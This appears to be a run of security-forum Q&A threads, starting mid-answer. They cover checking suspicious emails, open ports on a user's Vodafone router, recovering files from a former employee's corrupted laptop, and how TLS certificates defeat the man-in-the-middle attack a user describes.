Thus, when in doubt about the origin and intend of the mail, better contact the sender to confirm that the mail was actually send by them. Such contact can be using a different communication channel (phone, messaging, asking personally, ...). If you can be sure that the sender was not hacked you might also ask for confirmation by email. In the latter case you should make sure though that the address you reply to is actually the email address you know from the sender, and not the address of an attacker.


My home modem-router is occupying most subnets I was port scanning my own isp-issued modem-router and stumbled upon something unsettling: looks like it is listening on ports 554, 7070 & 1863 on (almost) every ip of this interval: 192.168.0-255.1

I posted the full port scan on pastebin: here.

While most of those ip have port 554,7070 & 1863 there are some other ports that are being listened to only on specific subnets:

192.168.27.1  | 81/tcp   open  hosts2-ns | 7070/tcp open  realserver
192.168.28.1  | 554/tcp  open  rtsp      | 7070/tcp open  realserver | 8888/tcp open  sun-answerbook
192.168.42.1  | 81/tcp   open  hosts2-ns | 554/tcp  open  rtsp       | 7070/tcp open  realserver
192.168.44.1  | 81/tcp   open  hosts2-ns | 554/tcp  open  rtsp       | 7070/tcp open  realserver
192.168.183.1 | 554/tcp  open  rtsp      | 7070/tcp open  realserver | 8000/tcp open  http-alt
192.168.230.1 | 110/tcp  filtered pop3   | 554/tcp  filtered rtsp    | 1863/tcp filtered msnp  | 7070/tcp filtered realserver
192.168.234.1 | 554/tcp  filtered rtsp   | 1863/tcp filtered msnp    | 3306/tcp filtered mysql | 7070/tcp filtered realserver

Here is what I know about this modem:

It is a CPE by vodafone for use in europe (italy, germany) and NZ marketed as Vodafone Station Revolution or EasyBox 804 (altough this has a different fw from mine).
Extremely dumbed down web interface implemented as a plugin to Jungo (now Cisco) OpenRG 5.4 (Side question: the linux binaries look like they are from 2005. Is there any known exploit i should be aware of for this version of OpenRG?).

Can the community help me investigate the purpose of these open ports? I think it may be a possible security issue.

Those are ports used in "media" servers- RTSP and realserver are streaming protocols, 1863 is a Microsoft notification protocol. Napster was for file sharing, etc.

Having the router listening on these ports on all internal networks isn't necessarily problematic, though the presence of ancient protocols like realserver and napster is certainly suggestive of age and therefore by implication of security issues.

The two things to look further into are:

what ports if any are open on the external interface?
can services listening on internal and external ports be disabled in configuration?

Going through configuration and disabling everything possible to disable should result in there being no listening ports on the external interface and no listening ports except for http (or https) on the internal interface.

There may still be security issues with the internal http port, of greater or lesser difficulty to find. It should be much faster to determine if the minimal level of assurance that unnecessary ports are closed can be achieved. If that level of assurance cannot be achieved then it goes without saying that there will be vulnerabilities on those unnecessarily open ports.


Terminated user did something to corrupt OS and data on turned in laptop I am a senior systems engineer at a mid-sized ASP/hosting company. 9 or 10 months ago we had a large lay off which included our company's marketing director.

None of our upper management thought to take the time to look through his emails or laptop data when we offered to provide it to them after the termination was announced. After about two weeks I went ahead and "fully processed" the termination which entails removing the user's email account (30 day retention), moving all of their personal drive data to another location to be backed up...etc.

Shortly before he was fired he worked out a (bad) deal with one of our customers which currently brings in roughly $15k per month. Now, 9-10 months later, our customer is calling this into question as to what they're being billed for. Guess what, no one has a statement of work (the customer probably does but they'd never share it). This thing is nowhere to be found...

I dug up his hard drive and slapped it into a laptop. It booted up and immediately i noticed something was wrong. nothing on the start menu, nothing under all programs, and some strange "legacy windows" explorer behavior. So i check out the C:\ and low and behold, almost every file and folder (outside of MOST required OS stuff) has had its name changed to a random letter or number.

From what i can tell this freaking guy ran some utility out of spite that not only wiped out any data on the drive but also destroyed the folder structure throughout the system. I was unable to collect any information from it and decided it's better to take the drive to a recover expert.

Has anyone heard of a utility that can do that? If so, is there a recovery method that you may have used to reverse the damage? We're more than likely taking the drive to an expert this week but i'm curious if we might have recourse to take this guy to court and float the cost of the recovery.

There are two levels of file-deletion on a computer.

When you delete a file, the system simply marks the space that the file took up as available again. If that space doesn't actually get used again, the file is still there and can be recovered. I've used Piriform's Recuva program with some success in the past, but there are others out there as well.

If the file was overwritten, either deliberately with a secure-erase program or just through normal course of operations, then recovery is extremely difficult to impossible.

If all the files are just renamed to random strings, then you could conceivably just try opening them all in notepad/word/etc. Might take a while but changing a files name doesn't destroy any of the data in the file.


How to fix SSL algorithm for more security SSL uses Asymmetric Encryption like this :

Server sends a copy of its asymmetric public key.
Browser creates a symmetric session key and encrypts it with the server’s asymmetric public key.
Server decrypts the asymmetric public key with its asymmetric private key to get the symmetric session key.
Server and Browser now encrypt and decrypt all transmitted data with the symmetric session key.

But what happens if someone listens to this communication in "step 1", and does this:

Listen to communication between server and client in step 1.
When the server sends a copy of its asymmetric public key, hacker changes it to their own public key (that has its private key too) and sends it to client.
Client create a session key and encrypts it with hacker's public key.
Hacker listens to the line and gets the session key and decrypts it with its private key.

So he gets session key here. and then..

Hacker encrypts the session key (that decrypted) by the last public key (that server sent)
So the hacker has the session key now...

I used this algorithm in my project for communication between server and client. there is not any certification between them. is it right that I add some characters in public key and client checks them and makes it valid?

How we can fix it?
any ideas?

TLS is not broken, only your understanding of TLS ;)

The complete TLS is explained in this answer but to answer you concrete question:

The server does not send the public key simply to the client. The server sends a certificate (chain) to the client.
The client verifies the server certificates with one of the trusted certificates in its store.

So to use a MitM (Man in the Middle)-Attack as you described the attacker has to replace the server certificate (which is also possible but much more difficult).

A certificate is the public key signed by a CA (Certification Authority). So the client can check the servers certificat by verifying the signature on that cerificate.

All certificates have a chain of signed certificates up to a self signed certificate. This self signed certificate is called root certificate and is already included in your browser.

You can create your own CA by issuing a root certificate and use this to sign your own certificates. You then only have to import the created root certificate into the browsers certificate store. This is only feasible for small user bases or for companies with updates to the browsers.